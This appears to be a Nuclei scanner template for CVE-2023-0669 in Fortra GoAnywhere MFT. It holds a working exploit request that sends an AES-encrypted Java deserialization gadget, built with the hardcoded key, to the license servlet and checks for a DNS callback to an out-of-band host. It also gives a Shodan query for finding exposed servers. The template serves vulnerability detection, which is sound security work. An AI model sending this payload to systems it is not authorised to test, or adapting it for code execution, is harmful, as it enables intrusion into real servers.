id: CVE-2023-0669

info:
  name: Fortra GoAnywhere MFT - Remote Code Execution
  author: rootxharsh,iamnoooob,dhiyaneshdk,pdresearch
  severity: high
  description: |
    Fortra GoAnywhere MFT is susceptible to remote code execution via unsafe deserialization of an arbitrary attacker-controlled object. This stems from a pre-authentication command injection vulnerability in the License Response Servlet.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html
    - https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
    - https://infosec.exchange/@briankrebs/109795710941843934
    - https://www.rapid7.com/blog/post/2023/02/03/exploitation-of-goanywhere-mft-zero-day-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0669
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-0669
    cwe-id: CWE-502
    epss-score: 0.96954
    epss-percentile: 0.99709
    cpe: cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortra
    product: goanywhere_managed_file_transfer
    shodan-query: http.favicon.hash:1484947000
  tags: cve2023,cve,rce,goanywhere,oast,kev,fortra

http:
  - raw:
      - |
        POST /goanywhere/lic/accept HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded

        bundle={{concat(url_encode(base64(aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("Dmmjg5tuz0Vkm4YfSicXG2aHDJVnpBROuvPVL9xAZMo="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA==")))), '$2')}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'GoAnywhere'

      - type: status
        status:
          - 500
# digest: 4a0a004730450220207c735e2469d6bf2af5178c7053b234490ccaa8584d568bb036adcc0ca0e16c022100dd5efb4ae7b7db86c7b6caee1806c494eeb8c6ce825ea4d94c449c4a09f4ff96:922c64590222798bb761d5b6d8e72950